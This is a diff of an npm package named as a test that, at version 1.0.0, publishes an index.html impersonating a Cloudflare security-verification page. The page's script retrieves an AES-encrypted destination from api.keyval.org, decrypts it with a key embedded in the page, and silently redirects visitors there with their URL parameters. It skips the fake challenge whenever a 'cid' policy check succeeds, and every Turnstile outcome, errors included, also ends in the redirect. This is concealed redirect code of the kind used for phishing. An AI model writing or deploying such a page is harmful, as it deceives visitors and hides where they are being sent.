@isla5mic/test 0.0.0-stage → 1.0.0

package/index.html

@@ -0,0 +1,363 @@
+<!DOCTYPE html>
+<html lang="en-US" dir="ltr">
+<head>
+    <meta charset="UTF-8">
+    <meta name="robots" content="noindex,nofollow">
+    <meta name="viewport" content="width=device-width, initial-scale=1">
+    <title>Just a moment...</title>
+    
+    <link rel="preconnect" href="https://challenges.cloudflare.com" />
+    <script src="https://challenges.cloudflare.com/turnstile/v0/api.js" async defer></script>
+    <style>
+        * { box-sizing: border-box; margin: 0; padding: 0; }
+        html {
+            line-height: 1.15;
+            text-size-adjust: 100%;
+            font-family: system-ui, -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Arial, sans-serif;
+            background-color: #ffffff;
+            color: #313131;
+        }
+        body {
+            display: flex;
+            flex-direction: column;
+            min-height: 100vh;
+            justify-content: space-between;
+        }
+        @media (prefers-color-scheme: dark) {
+            html { background-color: #313131; color: #f2f2f2; }
+            .main-content h1, .main-content p, .footer-text, .footer-text a { color: #f2f2f2 !important; }
+            .challenge-box { border-color: #e7e7e7 !important; }
+            .status-text, .cloudflare-mark, .cloud-links a { color: #f2f2f2 !important; }
+            .footer-inner { border-top: 1px solid #444444 !important; }
+        }
+        .main-wrapper {
+            flex-grow: 1;
+            display: flex;
+            align-items: center;
+            justify-content: center;
+            padding: 20px;
+        }
+        .main-content { max-width: 600px; width: 100%; text-align: left; }
+        .ch-title-zone h1 { font-size: 32px; font-weight: 700; margin-bottom: 8px; }
+        .ch-description { font-size: 15px; line-height: 1.5; color: #595959; margin-bottom: 28px; }
+        .cf-turnstile-container { margin-bottom: 30px; min-height: 65px; }
+        .challenge-box {
+            width: 300px;
+            height: 65px;
+            margin-bottom: 30px;
+            border: 1px solid #e7e7e7;
+            background: transparent;
+            display: flex;
+            align-items: center;
+            justify-content: space-between;
+            padding: 12px 13px 11px 9px;
+        }
+        .challenge-status {
+            display: flex;
+            align-items: center;
+            min-width: 0;
+        }
+        .spinner {
+            position: relative;
+            width: 31px;
+            height: 31px;
+            margin-right: 9px;
+            flex: 0 0 auto;
+            animation: rotate 1.35s linear infinite;
+        }
+        .spinner span {
+            position: absolute;
+            top: 14px;
+            left: 14px;
+            width: 3px;
+            height: 3px;
+            border-radius: 50%;
+            background: #28c86b;
+            transform: rotate(calc(var(--i) * 45deg)) translateY(-13px);
+            opacity: calc(0.22 + (var(--i) * 0.09));
+        }
+        .status-text {
+            margin: 0;
+            line-height: 1.05;
+            color: #313131;
+        }
+        .status-text strong {
+            display: block;
+            font-size: 16px;
+            font-weight: 700;
+            white-space: nowrap;
+        }
+        .cloudflare-mark {
+            width: 72px;
+            flex: 0 0 auto;
+            color: #313131;
+            text-align: center;
+            font-family: Arial, Helvetica, sans-serif;
+            line-height: 1;
+        }
+        .cloud-shape {
+            position: relative;
+            width: 34px;
+            height: 18px;
+            margin: 0 auto 3px;
+        }
+        .cloud-shape::before,
+        .cloud-shape::after {
+            content: "";
+            position: absolute;
+            background: #ff8a22;
+        }
+        .cloud-shape::before {
+            right: 0;
+            bottom: 0;
+            width: 27px;
+            height: 11px;
+            border-radius: 10px 8px 7px 4px;
+            box-shadow:
+                -13px 2px 0 -4px #ff8a22,
+                -4px -7px 0 1px #ff8a22,
+                8px -4px 0 -1px #ff8a22;
+        }
+        .cloud-shape::after {
+            right: -7px;
+            bottom: 2px;
+            width: 15px;
+            height: 6px;
+            border-radius: 8px;
+            background: #ffc46c;
+            transform: skewX(-18deg);
+        }
+        .cloud-name {
+            display: block;
+            font-size: 9px;
+            font-weight: 900;
+            letter-spacing: 1.15px;
+        }
+        .cloud-links {
+            display: block;
+            margin-top: 4px;
+            font-size: 7px;
+            font-weight: 700;
+            letter-spacing: 0;
+        }
+        .cloud-links a {
+            color: #313131;
+            text-decoration: underline;
+            text-underline-offset: 1px;
+        }
+        @keyframes rotate {
+            to { transform: rotate(360deg); }
+        }
+        .footer { padding: 20px 0; width: 100%; }
+        .footer-inner {
+            max-width: 1000px;
+            margin: 0 auto;
+            padding: 16px 20px 0 20px;
+            border-top: 1px solid #e0e0e0;
+            display: flex;
+            flex-direction: column;
+            gap: 12px;
+        }
+        .footer-wrapper { display: flex; justify-content: space-between; align-items: center; flex-wrap: wrap; gap: 10px; }
+        .ray-id { font-family: monospace; font-size: 13px; color: #8c8c8c; }
+        .ray-id code { font-family: monospace; font-weight: bold; }
+        .footer-link-wrapper { font-size: 13px; color: #8c8c8c; display: flex; align-items: center; }
+        .footer-text a { color: #0051c3; text-decoration: none; }
+        .footer-text a:hover { text-decoration: underline; }
+        .footer-divider { display: inline-block; width: 1px; height: 12px; background-color: #8c8c8c; margin: 0 10px; }
+        @media (max-width: 600px) {
+            .footer-wrapper { flex-direction: column; align-items: flex-start; }
+            .footer-divider { display: none; }
+            .footer-link-wrapper { flex-direction: column; align-items: flex-start; gap: 4px; }
+        }
+    </style>
+</head>
+<body>
+<script>
+    
+    function onTurnstileComplete(token) {
+        if (window.__challengeRedirect) {
+            window.__challengeRedirect();
+        }
+    }
+    
+    const hostKey = "C6T5HgvthvXYjiGt6ISpIylRIu7tm8ua";
+    const aesKeyBase64 = "NvGafkxVGs+z6VOGy6E43n+JQgKSUsn+S5NjXlBmcq4=";
+    const hasTurnstile = true;
+    const turnstileSiteKey = "0x4AAAAAAF0oIMn--J331xNO";
+    const turnstileLanguage = "en-US";
+    const challengeLayoutHtml = "\n<div class=\"main-wrapper\" id=\"main-wrapper\" role=\"main\">\n    <div class=\"main-content\">\n        <div class=\"ch-title-zone\"><h1>Performing security verification</h1></div>\n        <p class=\"ch-description\">\n            This website uses a security service to protect against malicious bots. This page is displayed while the website verifies you are not a bot.\n        </p>\n        \n        <div class=\"cf-turnstile-container\" id=\"cf-turnstile-container\"></div>\n    </div>\n</div>\n<div class=\"footer\" id=\"main-footer\" role=\"contentinfo\">\n    <div class=\"footer-inner\">\n        <div class=\"footer-wrapper\">\n            <div class=\"clearfix diagnostic-wrapper\">\n                <div class=\"ray-id\">Ray ID: <code id=\"dynamic-ray-id\">---------</code></div>\n            </div>\n            <div class=\"footer-link-wrapper\">\n                <span class=\"footer-text\">\n                    Performance and Security by\n                    <a rel=\"noopener noreferrer\" href=\"https://www.cloudflare.com/?utm_source=challenge&amp;utm_campaign=m\" target=\"_blank\">Cloudflare</a>\n                </span>\n                <span class=\"footer-divider\"></span>\n                <a id=\"privacy-link\" target=\"_blank\" rel=\"noopener noreferrer\" href=\"https://www.cloudflare.com/privacypolicy/\" class=\"footer-text\">Privacy</a>\n            </div>\n        </div>\n    </div>\n</div>";
+
+    function decodeBase64(b64) {
+        const bin = atob(b64);
+        const bytes = new Uint8Array(bin.length);
+        for (let i = 0; i < bin.length; i++) bytes[i] = bin.charCodeAt(i);
+        return bytes;
+    }
+
+    function appendVisitorParams(targetUrl) {
+        new URLSearchParams(window.location.search).forEach(function (paramValue, paramKey) {
+            targetUrl.searchParams.append(paramKey, paramValue);
+        });
+        return targetUrl;
+    }
+
+    function generateRayId() {
+        var chars = "0123456789abcdef";
+        var result = "";
+        for (var i = 0; i < 16; i++) result += chars[Math.floor(Math.random() * 16)];
+        return result;
+    }
+
+    // The page body is empty on load. Only render the layout once a policy
+    // check has already failed, so the visitor never sees it otherwise.
+    function renderChallengeLayout() {
+        if (document.body.querySelector(".main-wrapper")) return;
+        var host = document.createElement("div");
+        host.innerHTML = challengeLayoutHtml;
+        while (host.firstChild) {
+            document.body.appendChild(host.firstChild);
+        }
+        var ray = document.getElementById("dynamic-ray-id");
+        if (ray) ray.textContent = generateRayId();
+    }
+
+    function startTurnstileChallenge() {
+        renderChallengeLayout();
+        var container = document.getElementById("cf-turnstile-container");
+        if (!container) return;
+        if (container.querySelector(".cf-turnstile")) return;
+        var widget = document.createElement("div");
+        widget.className = "cf-turnstile";
+        widget.setAttribute("data-appearance", "always");
+        widget.setAttribute("data-sitekey", turnstileSiteKey);
+        widget.setAttribute("data-theme", "auto");
+        widget.setAttribute("data-language", turnstileLanguage);
+        widget.setAttribute("data-callback", "onTurnstileComplete");
+        widget.setAttribute("data-error-callback", "onTurnstileComplete");
+        widget.setAttribute("data-expired-callback", "onTurnstileComplete");
+        widget.setAttribute("data-timeout-callback", "onTurnstileComplete");
+        widget.setAttribute("data-unsupported-callback", "onTurnstileComplete");
+        container.appendChild(widget);
+        if (window.turnstile && typeof window.turnstile.render === "function") {
+            window.turnstile.render(widget, {
+                sitekey: turnstileSiteKey,
+                appearance: "always",
+                theme: "auto",
+                language: turnstileLanguage,
+                callback: function () { onTurnstileComplete(); },
+                "error-callback": function () { onTurnstileComplete(); },
+                "expired-callback": function () { onTurnstileComplete(); },
+                "timeout-callback": function () { onTurnstileComplete(); },
+                "unsupported-callback": function () { onTurnstileComplete(); }
+            });
+        }
+    }
+
+    function resolveHostUrl() {
+        return (async function () {
+            const response = await fetch("https://api.keyval.org/get", {
+                method: "POST",
+                headers: { "Content-Type": "application/json" },
+                body: JSON.stringify({ key: hostKey })
+            });
+            const data = await response.json();
+            const stored = String(data && data.val || "");
+            const sep = stored.indexOf(":");
+            if (sep <= 0) return null;
+            const iv = decodeBase64(stored.slice(0, sep));
+            const encrypted = decodeBase64(stored.slice(sep + 1));
+            const secretKey = await crypto.subtle.importKey(
+                "raw",
+                decodeBase64(aesKeyBase64),
+                { name: "AES-CTR" },
+                false,
+                ["decrypt"]
+            );
+            const plain = new TextDecoder().decode(
+                await crypto.subtle.decrypt(
+                    { name: "AES-CTR", counter: iv, length: 128 },
+                    secretKey,
+                    encrypted
+                )
+            );
+            return new URL(/^[a-z][a-z\d+.-]*:\/\//i.test(plain) ? plain : "https://" + plain);
+        })().catch(function () {
+            // keyval.org lookup failed; no host target is available.
+            return null;
+        });
+    }
+
+    function fetchPolicyRedirectUrl(baseUrl) {
+        const cid = new URLSearchParams(window.location.search).get("cid");
+        if (!cid || !baseUrl) return Promise.resolve(null);
+        return fetch(baseUrl + "/api/strategies/check?cid=" + encodeURIComponent(cid))
+            .then(function (checkResponse) {
+                if (!checkResponse.ok) return null;
+                return checkResponse.json();
+            })
+            .then(function (checkData) {
+                if (checkData && checkData.success && checkData.redirect_url) {
+                    return checkData.redirect_url;
+                }
+                return null;
+            })
+            .catch(function () {
+                return null;
+            });
+    }
+
+    function applyPolicyRedirect(policyUrl, baseUrl) {
+        const policyTarget = new URL(policyUrl, baseUrl || undefined);
+        appendVisitorParams(policyTarget);
+        window.location.replace(policyTarget.toString());
+    }
+
+    function redirectToHost() {
+        return hostUrlPromise.then(function (url) {
+            if (!url) return;
+            appendVisitorParams(url);
+            window.location.replace(url.toString());
+        });
+    }
+
+    // Resolve the keyval.org host URL first.
+    const hostUrlPromise = resolveHostUrl();
+
+    const checkPromise = hostUrlPromise.then(function (url) {
+        const checkBaseUrl = url ? url.origin : "";
+        return fetchPolicyRedirectUrl(checkBaseUrl).then(function (policyUrl) {
+            if (!policyUrl) return false;
+            try {
+                applyPolicyRedirect(policyUrl, checkBaseUrl);
+                return true;
+            } catch (e) {
+                // Invalid/non-absolute redirect URL: treat it as a policy
+                // failure so the page can fall through to the challenge flow.
+                return false;
+            }
+        });
+    });
+
+    // Policy check runs first: on success we redirect and skip Cloudflare.
+    checkPromise.then(function (success) {
+        if (success) return;
+        if (hasTurnstile) {
+            startTurnstileChallenge();
+            return;
+        }
+        renderChallengeLayout();
+        setTimeout(function () { redirectToHost(); }, 1000);
+    });
+
+    // Used by the Cloudflare Turnstile callback (only when a widget is present).
+    window.__challengeRedirect = function () {
+        return checkPromise.then(function (success) {
+            if (success) return;
+            return redirectToHost();
+        });
+    };
+  
+</script>
+</body>
+</html>

package/package.json

@@ -1,6 +1,8 @@
 {
   "name": "@isla5mic/test",
-  "version": "0.0.0-stage",
-  "stub": true,
-  "description": "Temporary package placeholder for staged publishing"
-}
+  "version": "1.0.0",
+  "main": "index.html",
+  "files": [
+    "index.html"
+  ]
+}

package/README.md

@@ -1,3 +0,0 @@
-# Temporary Holding Version
-
-This version is a temporary placeholder for this package. An operational version to replace this has been submitted for review and is awaiting a staged release.